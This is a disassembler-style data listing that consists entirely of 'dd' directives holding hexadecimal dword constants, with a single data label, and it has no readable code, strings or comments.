dd 9D004811h, 607AE957h, 6A3B8Ch, 55254A69h, 99EBACD5h dd 7D4474Ch, 1B33EA86h, 6C67CC60h, 0E70E244Eh, 0A3070A74h dd 53D180A4h, 392EA5Ch, 6C78A12Eh, 0ED228080h, 889C5945h dd 0EF2E4D1Ch, 78240426h, 2C89240Fh, 0FF0D1B4h, 6DA5A69Ch dd 0BD049143h, 0ADC0FEC3h, 0D02ED3EFh, 2A3F9419h, 0E200E03Eh dd 83A87371h, 75439184h, 90EF009Ah, 0C18893BCh, 332697F4h dd 0E0A4D0D1h, 0B337F360h, 0A803132Ch, 9944086Dh, 0A8B5428Ah dd 0BE5E549Ch, 20D588C7h, 3DAC7EB1h, 0B7803C28h, 0FEFCA74Fh dd 6A0E6D09h, 6E44184Ch, 0BB03849Ch, 329884A6h, 0E42158FDh dd 6FD88B74h, 5503903Eh, 203D8538h, 466102B2h, 5EC67B3h dd 204004E2h, 3F591BA9h, 11A8B1Ch, 0FF477B28h, 0C0980470h dd 10D0ED19h, 1F0261F4h, 0C71A3BF5h, 0E8A461D4h, 20B97442h dd 50A80440h, 9C831300h, 7985CEE7h, 0EEFA0288h, 0F75A1F66h dd 407F7041h, 0DE42877Ch, 50EC5035h, 0D10B7C0Ch, 0AA2602A0h dd 0B21E73B1h, 6210B441h, 0B022CCh, 152D0F50h, 0EA92CBE6h dd 0DA01B700h, 0BF971F2Fh, 4DE318E7h, 34025153h, 0A2E49500h dd 42B2795Bh, 3E350FCCh, 9AA040B9h, 1D022180h, 784EC092h dd 38972C21h, 14780028h, 142719A5h, 2F241302h, 3CC88BE3h dd 767AB7FDh, 667BB079h, 4A707AECh, 84620898h, 5A6A3E89h dd 44B81858h, 97FC193Fh, 0E0308CA8h, 0E072A13Fh, 0C590891Ah dd 0A2670F45h, 41CA85DDh, 0FFD4AB8h, 4444690Fh, 3178C04Ch dd 7A00C33Bh, 81ADD407h, 29A16870h, 844E5Fh, 2475894Fh dd 98009C0Dh, 0DFBAE3C7h, 3F1B77Ah, 0E88EA0BEh, 59E04A7Eh dd 270CA666h, 4898CF6Fh, 8438908Bh, 5839F4C4h, 0A68ADC22h dd 3A6D8098h, 3FFFC07Ah, 6E25AF00h, 0F0804A17h, 49B20012h dd 8FB7393h, 8F001057h, 8103AB3Bh, 12CDB045h, 306B8BBFh dd 0DC342D9Ch, 0D103E200h, 0C1509038h, 0BF18207Ah, 0CC224Ch dd 5E360515h, 903C3277h, 4FA4BD1h, 8C87B354h, 5C008E00h dd 0D164893Fh, 0BFCCA1h, 73D9F585h, 8EFD86EBh, 8FFC7258h dd 0DD88806Eh, 49FB555h, 0DEFE6CD3h, 7700B22Ah, 2E64B607h dd 60233E82h, 2B338005h, 5B2D00ADh, 431D2F0h, 0A800CA96h dd 6E831797h, 16EB7C8Bh, 5F7E52h, 0F2F72E92h, 371F349Ch dd 9E82AA47h, 0C1D3AE6Ch, 2C099870h, 5AC2C150h, 0BC4B3B99h dd 0CA58B000h, 3F5349E4h, 0D0DAD90Eh, 0CD7640FBh, 2EE22A2Fh dd 40B49731h, 0E72C6C82h, 6E012200h, 0C7D33627h, 0C0030097h dd 0C25619EBh, 9901300Ah, 0F46C8967h, 6BD91FE0h, 0D78F8468h dd 0F32EB081h, 7215209Dh, 2BD93Fh, 11066DE7h, 345FA3h dd 0CF32DDDh, 0F5FD737Ch, 4EF9E40Fh, 32974107h, 0C08AADB7h dd 80D4694Dh, 2C9A581Eh, 0F9134FA9h, 7B00718Bh, 0B79DFF67h dd 0AAD2056Ah, 82363B16h, 9C616D90h, 1702317h, 0AD02D886h dd 0CEFC6564h, 13D73F9h, 700FB1F0h, 61309379h, 20243880h dd 0F5962A87h, 70730F8Ch, 380973Eh, 11B126E9h, 6C2F4D00h dd 0C0B87B8Bh, 10AE2605h, 88D42673h, 0FC0AE873h, 84878C0Bh dd 88B37A0Ah, 11B0BF5Ah, 0AF9F27h, 0F9559AF4h, 7586DC3Ch dd 0DC41295Ah, 0F0345C36h, 9813EC77h, 4ACC9035h, 0B00B28B4h dd 98EAC279h, 24EC5D0Ch, 404C9738h, 0FD405EF5h, 0B68E5F00h dd 5AE57841h, 865901B7h, 0E1213AC1h, 0EA4C3089h, 8CAFA021h dd 0E4799AFCh, 7A0C6200h, 95CAD404h, 0A0BB00AEh, 788F6812h dd 0FB00DE3Fh, 5D3F63Ch, 4F1C24h, 0B5A4665h, 0E9F88A9Ah dd 0E0D19605h, 2CA20C97h, 0E61A0400h, 0BE4432A9h, 4CABF9C0h dd 0EF4337h, 9D46285Fh, 0F957CD0Bh, 11C9101h, 0EA31DA2Ah dd 4CE3A6FCh, 0AC809C41h, 7F606B9Ch, 2EFFCB02h, 40B740C0h dd 1F3EDE12h, 0CE5941F5h, 0C860626Ah, 0A9CC0951h, 0EC16B05h dd 0F680C706h, 29C6A76h, 0A50372Eh, 8090FB81h, 0D10E5CEAh dd 2048211Dh, 1A23EFACh dd 20840002h, 4ACDA089h, 32003678h, 312C4BF8h, 0F0705E4h dd 753780A1h, 63B43DA3h, 9B5A4F80h, 25786B0Eh, 4C6C6076h dd 922B62h, 486E04FAh, 0D4CFFE55h, 69E22F00h, 200E259Ah dd 16F0B0Bh, 40448224h, 0EB078300h, 0AE5C2BE4h, 0C4402DEh dd 112D245Bh, 0F8B3C48h, 78CE4313h, 0B62488h, 7D51090h dd 0CC336E8Eh, 0D79C6C24h, 0BC6F1B02h, 7278C923h, 0FC17FC39h dd 2DC42098h, 0DC048E40h, 0DB8201ADh, 6FD55280h, 90AB0005h dd 0FDE5C073h, 5700C310h, 6DDB756Ch, 70CD05Ah, 87030A3Bh dd 7E4E30A8h, 0AD0062A7h, 2BAF024Ch, 1E04F89Ah, 0C0D69546h dd 0B74B0CC1h, 9F1D2489h, 2064BA26h, 0F23AC000h, 0E098B68Fh dd 8039489Dh, 9EC2310h, 49A81C3Eh, 64724458h, 0C789CC00h dd 0EA076251h, 21302312h, 413EB44Fh, 9088ED32h, 732E66F0h dd 3B41094Dh, 1C683DFEh, 8E013A84h, 8987A50Dh, 907861B7h dd 0E1F56F80h, 0C506C3D5h, 0F4976B64h, 3D7F0B11h, 144E2418h dd 26CE2300h, 1B321604h, 3FF7013Dh, 0BA53376Dh, 9A087C21h dd 36059A8h, 22532A3Ah, 0A48B94Ch, 0F414A94Eh, 11253E0Bh dd 40705F90h, 6C39C0ECh, 69FB6708h, 28648758h, 19001445h dd 8B4E1F18h, 9983F83h, 382E8C14h, 0F0360C68h, 96244D12h dd 0F6A1D820h, 0F9743FC1h, 18501B09h, 22AF5780h, 4E72339Bh dd 80889C03h, 90286E23h, 1FB1FC2h, 0DB3BAFF3h, 9D333466h dd 60498311h, 14ECC84Eh, 1577E6Ch, 970378E0h, 0E0079B1Bh dd 4F7C2B55h, 0E702DCB0h, 67FA8E4Ah, 3980444Eh, 8F07613Dh dd 20B537FFh, 933495E5h, 0AC396499h, 682494B6h, 2987B806h dd 69E10071h, 0BEA8E7E2h, 13004FBCh, 61B20C8Ah, 16604A75h dd 0C749AE53h, 40E429C4h, 63A64600h, 0E0AA35F6h, 0EE430330h dd 0BCE46F73h, 0C5200BB2h, 15BAA0h, 20BD9994h, 8CE203DFh dd 0FD00AA70h, 0D4C64F0Eh, 131CEB92h, 13DD66A6h, 9628910Eh dd 0CCB850F8h, 1904BBE0h, 48CF3389h, 650300B2h, 0A2E26172h dd 9DC399C3h, 100163D3h, 8A6D8587h, 0CC40B89Bh, 588BBE88h dd 59000CFDh, 6B6F110Fh, 0E904283Dh, 3A8A146Ch, 0CC8010A8h dd 4745C3E7h, 0C000FF79h, 0AC64BBC1h, 0DA666Dh, 86EA7C41h dd 10E6E0D3h, 1305D690h, 0C2C8A5F1h, 1C306685h, 9A6B16Ah dd 0DE01A079h, 6793AC80h, 631FBEA5h, 624BE06Bh, 9554904Eh dd 0AD9E0082h, 2EFDED19h, 6C008A12h, 0CCD9F6Bh, 7DA54E18h dd 0B40934DDh, 0F9D4A058h, 875AA700h, 43C0E214h, 25700398h dd 0AE51A668h, 0C8C2E5BAh, 2000E466h, 63FB6214h, 0C2C401h dd 2BDF6CC7h, 6DB24657h, 8442300h, 1F9C4A8Dh, 51F03202h dd 4F20EC40h, 186F599h, 0D86907B7h, 0CCC430D5h, 7CA080B4h dd 3DE465D1h, 0CBC82148h, 30DC02B6h, 0C7A5200Ch, 0CE4D948Ah dd 9D361FC8h, 0D134740h, 0BE66D5Ch, 4E79F05Dh, 599348C8h dd 258A2607h, 0C6F067C0h, 0C53E0h, 0A6109605h, 0D047D1A4h dd 248CA31Dh, 0F99CCC40h, 1D3903E0h, 4B63E88Eh, 3C00594Fh dd 0BECAB46Fh, 0B2070804h, 0A9C08C89h, 90ABC1A7h, 5F4405E0h dd 816E2FC3h, 0D1D46008h, 4442DFBh, 40318A2h, 0DB5800ABh dd 0E63DB74Ch, 0E485CD2Eh, 38028A12h, 64349943h, 4564901Ch dd 0A7F89FECh, 0A4CCE8D7h, 0F00703FCh, 7EB6D141h, 0FB74C7A0h dd 69F96D09h, 117C194Bh, 2388C03Ch, 3DA6BB87h, 96884449h dd 2C625264h, 30486C44h, 34870428h, 2CB24D20h, 35E3960Bh dd 0B07EFC87h, 0ED0BA6BFh, 45BEE117h, 0E4B41488h, 0D0094DB9h dd 189A3211h, 5749B642h, 0C7F10048h, 4DC909C5h, 7A076ACAh dd 857C5F72h, 0E3DACE40h, 238C05C3h, 888F542Dh, 100246D4h dd 75A5ADEBh, 9588B28h, 82CF004Fh, 0F0357DBEh, 1199624Eh dd 9CE4428Fh, 5E93301h, 0A8AA0E2Dh, 73ECFF0h, 0E529506Eh dd 239AD11Eh, 2DD429D3h, 6E842042h, 98F32EF9h, 29752988h dd 551E3AA4h, 0A1CB828Dh, 8C54FCFEh, 0F350AE1Ch, 92C02858h dd 10A5C275h, 1933BF0Eh, 848EEBCDh, 16C54FB4h, 0B6DC4404h dd 0E2482C0h, 9EEE0059h, 2BFDC294h, 703E8306h, 693107F5h dd 26A07D2Ah, 0E4A83C54h, 0EF73011Ch, 0FC3497E1h, 1070A781h dd 0D1AEE8h, 7CC8CC07h, 70910159h, 194ACDB8h, 916E4088h dd 830287A4h, 0B623A11Fh, 0BEB8F742h, 7EF88B2Eh, 0D2A1E200h dd 9BFAF7ADh, 25800A04h, 40ECB450h, 97FF8C5Fh, 8E2D4005h dd 0F8A43A22h, 0FE8009FDh, 4C89DCD3h, 3880E459h, 5F496278h dd 90C800B9h, 0F18883FBh, 35160DE1h, 0C89F4DF8h, 6E183E03h dd 88B469F8h, 0B0048784h, 3CC8309Fh, 4EC06480h, 382EED32h dd 232586F4h, 4208251Ah, 240B4h, 870EA44Eh, 3AB41E99h dd 6570FD02h, 0E01DEA36h, 5B7E6B96h, 8E004175h, 25A6275Ch dd 3ECC119Ch, 8050786Ah, 21AF1A4Fh, 999B0FFCh, 0B6922536h dd 18491C98h, 0DC9CB5C0h, 7CCC5A3Bh, 0E3EB000Ch, 3F644C0h dd 3500EE75h, 86DC7F5h, 0A0D3AF29h, 14DE30C8h, 6C215048h dd 0CC9C8B2Fh, 9D621300h, 5FD8B5A3h, 82B700A6h, 0B3FAF1E5h dd 0DC0C8AC3h, 8E0DE5Ah, 0DC974CE3h, 56D8A963h, 7AA58EA8h dd 0D96D861Eh, 5375AB05h, 8A4008B5h, 1E98DC04h, 40883651h dd 0F7912FCFh, 7016F56Ah, 0B09042D9h, 0FB32BEh, 0E2D161B3h dd 62058089h, 4FB90A08h, 0B43E8A98h, 78243A0h, 0DCB1F02Ch dd 684314h, 39FC0C33h, 26B80BD2h, 0F21DA5Fh, 0A8E5573Bh dd 416832BAh, 925F090h, 0C07FA900h, 0D77973Dh, 2EB900C7h dd 0F90C07EAh, 9253BF71h, 9DCF009Ch, 0FC186722h, 704C5F66h dd 0C7A669CCh, 0F6B1E601h, 0C5C9B348h, 0ED477A80h, 0B969BB54h dd 65E0924Fh, 8ED800FDh, 0EFA0315h, 311D353Ah, 3C0306A7h dd 0CC322469h, 0D50144CAh, 88E0301Dh, 0D0A82472h, 6888034Ah dd 0D4FB5496h, 0BB3800BFh, 0C02E2AF6h, 0B5033332h, 84F8BEC7h dd 7021BA98h, 50491260h, 0DF843025h, 50919327h, 835D3304h dd 703DD200h, 2C004586h, 9050055Ch, 73A1CA8Ah, 3E58C2FAh dd 0F0E97F1Fh, 3E983D96h, 476006Bh, 0E0CD7268h, 7A51024Dh dd 0F1CEB465h, 0F385C377h, 8B7808D8h, 7191FAD7h, 55D2FD00h dd 0A169EED6h, 1495B872h, 7E2F0090h, 0DF363DCCh, 1EEEC90Fh dd 0E8B38202h, 0C51C23E3h, 909F40h, 5101C4C8h, 0D2009B3Ch dd 0D39F03BAh, 75E450B0h, 3AB8DBh, 0A858C871h, 0EC213B0Dh dd 400FE72h, 0F1AF473Eh, 2C5A7F0Fh, 0A415C8h, 13908459h dd 3A483DFDh, 0D4DD0501h, 3CB2E203h, 0CE22CD00h, 15472AD7h dd 271023Ch, 7EA9109Dh, 0A7BB601Bh, 80B09D50h, 2F2C41CCh dd 163E24ACh, 88D14D79h, 96112726h, 0B4B850F7h, 8900B9E3h dd 0CD706CA6h, 58485Fh, 0CE26E452h, 3BF68503h, 46933A01h dd 0C9F8D79Fh, 3F22F86Ch, 0F770FF00h, 0A622DCF4h, 0DBEF0579h dd 0C06D8F60h, 0FE7BB2ABh, 1AEBE203h, 58A6A227h, 2D0860B0h dd 42128DD3h, 0A46ED490h, 3BCFFEDFh, 610097A5h, 8B3AF0F7h dd 0AD27E4FDh, 86A422D4h, 6BE1203Bh, 14BE4E5Dh, 79151A80h dd 438A14Ch, 0BF2FE06Eh, 32509323h, 0A0E482F2h, 4B98A144h dd 0A4CCCC36h, 0E081884Ah, 4F2A7BBEh, 0C8008904h, 0CA8B3826h dd 0EEE790Bh, 13E025B0h, 85A034E4h, 0D399DB80h, 14407B6h dd 0E8809890h, 0F0124F43h, 277E1BBDh, 198CE453h, 0C998EC9h dd 27151C0Ch, 3E14CFB2h, 8B40F9h, 0C75D010Ch, 283FC36Bh dd 27A58702h, 0F0750D1Fh dword_53F858 dd 88D90E4Ch, 31856577h, 7BE0820Ah, 7097C56h, 851CA034h dd 7D8253D6h, 7DAA7AB5h, 0BC8F50C5h, 1A1E42CCh, 5A39E8E7h dd 1190A4h, 0A267E208h, 3865F882h, 6A724D13h, 8DE02401h dd 8607FA26h, 20A6D1C4h, 50F4C81Dh, 0A01B38C0h, 56DA60h dd 4020379Fh, 0E8F0147Bh, 0E10DDDE6h, 0D09A17ADh, 216C6C42h dd 713225C9h, 428442Bh, 4089F9E0h, 92047285h, 0AF162B6Ch dd 84A10A8h, 42521B1Ah, 0E32FBE9Bh, 0C13FB7E0h, 0F8549988h dd 80C863C6h, 810ACBF8h, 0BBD060B7h, 3D3065E3h, 666D009Ch dd 0A630A031h, 7F9F65Bh, 2358FA7h, 0CEC36007h, 7A26F893h dd 0FC00DEFBh, 2D03B65Bh, 5EE26h, 9A4D4F57h, 0D6AF736Bh dd 45C25500h, 0A5717BC9h, 0E1031658h, 0A4F05DCh, 6B8C0867h dd 2EAD562h, 647E203Eh, 22C8904Fh, 58E7B61h, 0E16420h dd 44CF2027h, 56246DC0h, 0A66F5E00h, 315F89E3h, 7AB70EC1h dd 11C403DFh, 0AB80EF7Bh, 3A3E8D4Bh, 905379CCh, 5F2EC722h dd 5540DC53h, 7303EA0Fh, 0E52001Fh, 0B0726CCCh, 2AB8EC0Ch dd 956A8D03h, 0F0BE5751h, 5B49FA5h, 9B3A2330h, 0A778CCB1h dd 6E0205F0h, 0BD19DFD0h, 7CCDE1C2h, 62CEFCF0h, 0FE68087Bh dd 4C0F5C41h, 89C0088Ch, 0F330B3CCh, 58986EA7h, 0F9DE3E71h dd 0B9F61203h, 142A8BCh, 80EA8131h, 3F1C3DD0h, 304F0C22h dd 24A36CBEh, 2C716AC0h, 40512726h, 0EC50C684h, 4A800D48h dd 11EE1F34h, 60A89C52h, 233F3013h, 0F6776A00h, 0C21998D6h dd 1B060248h, 7E6FF453h, 0D509A0F9h, 0BBA08463h, 67895F40h dd 26009B5Bh, 2444A35h, 14C4F00Dh, 0D07F1D79h, 86895849h dd 2B576002h, 94889060h, 6618219Fh, 1E02A9Eh, 633800FDh dd 0ABDEC83h, 8612B934h, 94CCF440h, 3E961DAFh, 0CCA2C0E7h dd 0BB70EC6h, 8C054003h, 0C2E5F750h, 4CB45E61h, 414CE00Ah dd 0B1D084FCh, 0B92AA480h, 0EAF30055h, 2963B888h, 0FC54D325h dd 74A343C4h, 578BF7C8h, 42073200h, 0BE5B231h, 0A6672490h dd 0C81B1088h, 99592D7h, 483D328h, 8CAD23B1h, 6788BCF4h dd 289C005Ch, 0F4E98E6h, 0E73B159Eh, 7584811Fh, 0FBDD6EBDh dd 1300407Dh, 0AC27A355h, 51EC1AB0h, 44687F00h, 45A87DBh dd 2AD42491h, 0CCFF1044h, 27E191C0h, 4CE80C97h, 6A09FE6Ch dd 2DD1794h, 299B6B50h, 80197410h, 0D1C3B207h, 0E2E02808h dd 0A0F7B4h, 4CCB8D1Eh, 0A967EC99h, 0FB435C91h, 0F01100A0h dd 8B2E5C51h, 0B6E4E12Fh, 0F8A44C91h, 23184C28h, 9831A2BEh dd 0D250A038h, 3B98C4E3h, 1AD4E06Ah, 0F998A444h, 9D8A1448h dd 1AFC0C80h, 28003DD3h, 7293A589h, 33C8381h, 1C570F05h dd 0C3C027D1h, 60FEE29h, 800E3A97h, 7769B42Dh, 64D905AEh dd 0B29FBE24h, 852E04D8h, 10C0E4B4h, 167231C4h, 8B20FBAh dd 10A5F1E8h, 3D70C8h, 0A26B7BD8h, 0B02DE169h, 0CC22A40Fh dd 56A942EEh, 0B2C44028h, 0B4B78010h, 20A04DF5h, 0F09CFBB2h dd 0A64B6181h, 0F0C75B86h, 0F7F1B7F0h, 4C2F3820h, 18B2C09Bh dd 0AE0C8719h, 0C2138D43h, 26308198h, 0D8C114BAh, 0D4C0E003h dd 21195E3Dh, 238BB650h, 0DE7905A4h, 508389E0h, 1521DC19h dd 4496020Ch, 0BDF4E8h, 0ECC67321h, 8D4348DFh, 9111E104h dd 0A4F89D1Eh, 26B4A280h, 2F0560D3h, 51F64E27h, 0A7309090h dd 0C08C948Eh, 0ACB5861Bh, 0F89A4E0Fh, 5830F250h, 7F4E9EAh dd 0B1CA32C8h, 0B83C80B4h, 0D900AF1Bh, 2BA5F611h, 271A504Fh dd 1082DCB7h, 0E4503161h, 3047F302h, 74272469h, 223447FCh dd 98899FD9h, 80EAA8F8h, 0B4204A81h, 0FC22F5B7h, 0C4C43096h dd 340095B7h, 4F05CEFAh, 7AB0E061h, 8575025Eh, 0E6261F31h dd 0B8E99604h, 2280C838h, 2B53E289h, 20F44F88h, 1D2D5D01h dd 3201F006h, 15D89BD5h, 0F3D216A8h, 74001B0h, 0EE56272Eh dd 985430E6h, 3371E7FCh, 0B0120514h, 0AF487C64h, 5D23810h dd 2823A352h, 0F040F0A2h, 108D42C9h, 985B0B65h, 3C0A327Ch dd 90A4C67Bh, 1D806427h, 0BF7627C7h, 0B0326294h, 246A38C3h dd 698EC8C9h, 87600498h, 7CB9957Ch, 6580A53Fh, 0A12F3328h dd 170096BAh, 9AE0527Ah, 277F82CBh, 782041E3h, 5F58CEC7h dd 0A6B75450h, 0A12A1701h, 756BF7BEh, 99C810EBh, 0ACC848Eh dd 0C9424E48h, 0FC3A0231h, 5594E82Bh, 0D92D00BAh, 4775CBB2h dd 0EC09C32Fh, 1CF61507h, 1C99DCh, 85455203h, 7C0F4E36h dd 20555BF6h, 8D976123h, 75A26A9h, 0E1321E88h, 44821808h dd 3BE741E9h, 847C5A7Bh, 0B022B058h, 8F4068B6h, 24151766h dd 22B1CE0h, 785AF57Bh, 0D002844h, 0DF84D067h, 0A151A22Fh dd 0FD120F38h, 0C4B64860h, 5CF182h, 7AF4EC4Dh, 0CC1807D8h dd 0C531C64Ah, 9624180Fh, 0CD7529EDh, 53B28E1Eh, 0C069A880h dd 91B3ADE3h, 84F1908Ch, 400802Dh, 15E4FA0Ch, 0CA36BCA0h dd 7432BE41h, 0BFE26B00h, 881B2A29h, 4CF00F00h, 0FE09ADD1h dd 0B7160223h, 73932574h, 8E12BC7Ah, 8888AB3Bh, 0C36900E8h dd 392B7BC1h, 961C6FFEh, 27E659A5h, 0D1521C01h, 1020E1BBh dd 0F34286A1h, 0B16C11h, 45EE24E1h, 198200Eh, 3A89E3C8h dd 8FCB567Bh, 2C0E1B8h, 6621504Dh, 0E021B59Ch, 0D1E631DDh dd 0A466DEBBh, 3DE3710Bh, 53A499B4h, 53A3840h, 0E93E005Dh dd 9BBAEE21h, 34BA6917h, 1A998721h, 30E031A2h, 9C003517h dd 0E226D2B1h, 5FE460Fh, 7EA653DDh, 2B943075h, 843B8B80h dd 4A1C06FDh, 9838365Ah, 771F1014h, 4CF457EDh, 886E217Ch dd 0BE918DD6h, 1FD83700h, 76FDAE3Dh, 23D55C00h, 8A17DA4h dd 0DC292D85h, 0FAC22C82h, 82130E01h, 806CA305h, 4B5D4CF1h dd 0CB4703E9h, 8BDAD598h, 4FEEB8C0h, 29F4E204h, 4CA773A9h dd 0DE00BA22h, 3DD6E5E1h, 44E301Dh, 0A5DF055h, 0CA8481BAh dd 880E0850h, 210A42D2h, 0E8DBCC6Bh, 8190110Bh, 9B4D7BE0h dd 9F24087Eh, 2FF92A81h, 0B6ED80B8h, 4C66AAECh, 3417C4F4h dd 0C97890C8h, 0A25331C3h, 8EC5109Ch, 97C3324h, 38B9F9E6h dd 0BB7B30E8h, 23DA9E00h, 6424104Ah, 5F970017h, 0D3F819ACh dd 8A09E1F3h, 0FAFBE285h, 59B61748h, 1A00BA93h, 79AA70A6h dd 757601D2h, 2E4E9F29h, 3B202465h, 92109B42h, 6A3E12EBh dd 54964892h, 0DD3D8068h, 0C7D070DFh, 2D7AB802h, 81917252h dd 0FC2C67E4h, 0EC7A3502h, 0DC904D5Ah, 1E5513EEh, 40ECDEDAh dd 5A7C73A0h, 2729AA6Fh, 302D880h, 0F63497E2h, 0DE8C42C4h dd 4F65C40h, 0C8A64114h, 916A21A0h, 27980AA7h, 23253CF9h dd 0B09F96F8h, 2D9D3C1Ah, 0E2E06BCBh, 24501CC8h, 645802B8h dd 3EA00F80h, 60E93AFDh, 5065504Ch, 0B695244Eh, 1C0670B4h dd 0C179CC16h, 0AEF8C31h, 54764512h, 0E020FC97h, 77079h dd 9BAE1E05h, 0DC15721Fh, 0A374195Ch, 0C8CA4FDh, 95A540EAh dd 0ABCD901Ch, 0A088DAh, 0B2A0A330h, 2C5EE0BEh, 0EDD979h dd 0DA953845h, 0D7132EDCh, 1437A7ADh, 6A1048A9h, 11D4B920h dd 0A96E2422h, 2300AD20h, 994A53D8h, 177C401Fh, 4125CC8h dd 0B9BB4798h, 666D2D44h, 7E40254h, 0FF355ADAh, 60621CE0h dd 8482549Ch, 0D9036C08h, 88B92E0h, 93626EC0h, 0C0085483h dd 5D86E026h, 9B1DE6F4h, 7DC2B2A2h, 740BBE24h, 0E464088h dd 0C4BC1679h, 52AC8240h, 0C9280A01h, 5AB4A58Fh, 0F041DD0Dh dd 730605A3h, 0EFBAA1Fh, 3F1B0059h, 0CA7AE521h, 32032DD1h dd 262473C7h, 0FF9FE851h dd 10C00A3Bh, 88C6CD3h, 5CAAB257h, 0A6714700h, 147436AAh dd 0DA900A3h, 7BABB002h, 510095E2h, 6B9A014Eh, 1ED496Fh dd 970D8021h, 7EA3BE89h, 0F4168853h, 0BC8030B2h, 245A3D8Eh dd 33CDCA00h, 0C66469ECh, 0ADE212F9h, 0DBF8C84Fh, 982DFC89h dd 0B1F0AC00h, 468D5514h, 0D4018212h, 0D62BE402h, 240E02FAh dd 0ACA8E812h, 5E0514C2h, 0F10192B4h, 858840BEh, 0D3C06848h dd 94485C8Ah, 0C3C05FCFh, 0C8E986Fh, 534E0CB8h, 2F3E9428h dd 10BBBB17h, 8F0771C8h, 49CB7D00h, 0E36E246Fh, 608B39BEh dd 0C612C058h, 0D1944597h, 1278CD47h, 24DEA1A8h, 11B12242h dd 9C02097Ah, 6E1C195Bh, 0C497CC49h, 8DE22730h, 0ECB2D810h dd 37513400h, 0A952C3BDh, 89F30211h, 9B593332h, 68F0145Ah dd 0B61B2388h, 0BCC85AFCh, 50901C72h, 88E2B700h, 0AA38FCA2h dd 214601EFh, 0EB4F04BEh, 8EF0E39Bh, 0D45C70CEh, 0C007774h dd 50A7765Dh, 0A041E122h, 0BC4F950h, 7C3A4072h, 69C5FD80h dd 6C5F8A4Ch, 780088h, 87BD21AFh, 0AB6BDD92h, 80D72F03h dd 0A05B9F28h, 7B716EBFh, 0D47A48E0h, 2D68B5CAh, 0E72B8CC4h dd 0F11F7C33h, 122C1925h, 25245F00h, 43963096h, 0FF3A6C90h dd 0ABF0382h, 11FE4002h, 67D57EF0h, 0F090A62Eh, 0C0302F51h dd 227F4255h, 6820E5DDh, 0FC29204Bh, 0F02722h, 6C89E0D2h dd 74D57AAh, 69E1A700h, 0A25DE80h, 9F0E0573h, 0CC78BE96h dd 394B97F8h, 2B4FF4D1h, 612AC86Ch, 4CF0453Ch, 0EAF6B2D0h dd 92A8F800h, 6529A39Dh, 51EC139Bh, 0A70D006h, 9875BF5Ah dd 26EBF909h, 0BAF88409h, 4C487858h, 936A853Fh, 0A83984ADh dd 18E0206Bh, 2A0A5FF8h, 0D845213Eh, 1052213Bh, 0A2D38481h dd 0F7319844h, 447710B0h, 0A5227058h, 6B83D800h, 7262FD39h dd 0CFDE1F6Ah, 0EF6401Bh, 0F4250757h, 0C2E3A806h, 5C68E58Dh dd 0E80F7C36h, 0B52A6B2h, 0F09AC104h, 0F750F054h, 0AF350FDCh dd 0FC0A629h, 0E073BECDh, 0D8D7BB0Ah, 5910F403h, 0FBC2D1C8h dd 4BC60B9h, 0E43D58FEh, 3064D8C4h, 0D0C124h, 0B975AB41h dd 67B05DE7h, 10F3F902h, 0A46579C5h, 0B845F530h, 2ACB287h dd 18B6959h, 0B7F868BCh, 609882B1h, 0DCE01F25h, 0A51D4138h dd 13041685h, 0E7BC253Eh, 2E7000Ch, 6B85A19Ch, 0C94508Bh dd 301D022Eh, 0AD82E249h, 0C713C41h, 0F50B4469h, 5008A088h dd 71E19B36h, 953E0003h, 0EE30DAA6h, 33E48A0Ch, 0C1E61F12h dd 4F275CBCh, 388484CAh, 3C74880Eh, 7E1FA9F2h, 642DE3AFh dd 7D1E1750h, 53DC3044h, 95508B84h, 5E020358h, 1BAA0F45h dd 0B46444h, 49384D56h, 0D2ABFCB3h, 7433BE12h, 8DFDA444h dd 0ECB1D722h, 5E0C7853h, 39ECCC8h, 309D174Bh, 80E109A1h dd 0F45DECCAh, 0E088BA00h, 2DD93229h, 2F1000Bh, 62F9F724h dd 0A5000F71h, 765E03Bh, 997BADD6h, 923190F4h, 898F30ACh dd 0D3E775C0h, 0DA00DBF7h, 0EFE36C05h, 0FA65E41h, 0E5B85C23h dd 3D6B6E40h, 109D7670h, 0EE4148h, 18A0B540h, 597C3CDCh dd 90DA302h, 49672762h, 0D02D93B4h, 1020F82Dh, 2902FF38h dd 0F1AB1300h, 2EBB5941h, 448B1C31h, 0C0569F0Bh, 6DD394D0h dd 0B9C53224h, 0A0A8C181h, 244E1049h, 0A01086B0h, 0B020265Ch dd 0BAD602h, 0C36CED27h, 0D01B9168h, 56056BFAh, 17AA509Dh dd 0A686D044h, 191214EDh, 0E0B60Bh, 9287A66h, 69D725h dd 7826DF07h, 38918A1Fh, 2DC7CF38h, 384429h, 0EA2A0C7Ah dd 0FB9825A0h, 2497F4A0h, 0B5339980h, 7AD2A820h, 4C260B75h dd 0FE405811h, 4BD96CDh, 0AAB6C15Fh, 8CE4D567h, 0D1129838h dd 34E5193Dh, 0D688306Fh, 9900A93Ah, 0E96B2A13h, 3DDBAD3Bh dd 4F8FC4CDh, 0F0F9CB42h, 224823F5h, 2B8640C0h, 5C002947h dd 560D73CCh, 3E4C12A5h, 0AA9C01E4h, 72A9FD9Ah, 9885B439h dd 849C25FFh, 0CC49804h, 4F2FDF88h, 6BCC21FEh, 6A884883h dd 0DDC1E401h, 0FBA584B3h, 0C6002472h, 9D463B55h, 8307E482h dd 40330D5Fh, 0C434C8DDh, 0CA8044A7h, 6A4A1B09h, 2CF4C437h dd 0E0600B6Dh, 7EAA3D8Fh, 10EA4200h, 0E24DDDDBh, 31D40259h dd 51F2DA1Fh, 3E8054D9h, 1CDCD7EAh, 1293D7Eh, 4CE70580h dd 9DFE9E60h, 8C191A04h, 0ECA486BEh, 8700B4F9h, 0F12EADBFh dd 0C0A96A15h, 0DD12A450h, 54A8CFE3h, 82FAA18h, 872CBE88h dd 9C68CCA7h, 0B28BD860h, 176C9C4Ch, 3CE42D1Fh, 6C318038h dd 52ABFDDCh, 86889432h, 12042389h, 0F9DC04CCh, 8AC4A825h dd 0FA50A41Ch, 28309D0Ah, 0DE0037E3h, 0B1A3C245h, 0DDFF67h dd 3A0BA28Eh, 579BA5EBh, 0F0B6F52Ah, 62387F00h, 795D4899h dd 373027B4h, 0E020C88Dh, 312FD977h, 7CC40A4Eh, 0FBDE7861h dd 97091C3Dh, 0B880ECE6h, 917E3B85h, 2A7263Eh, 2FE10BE3h dd 440CE656h, 0D0B849BCh, 4EC32A22h, 15C904Eh, 0A300F16Ah dd 3B27797Eh, 0DFFB86h, 9C4BD0CAh, 0E46B130Ch, 0CC8E9409h dd 5BBC444Ah, 19348C0Fh, 2D5C4D0Bh, 25C9FE74h, 2ED92C11h dd 2BCB838h, 5889B46Ah, 8C41C67Ah, 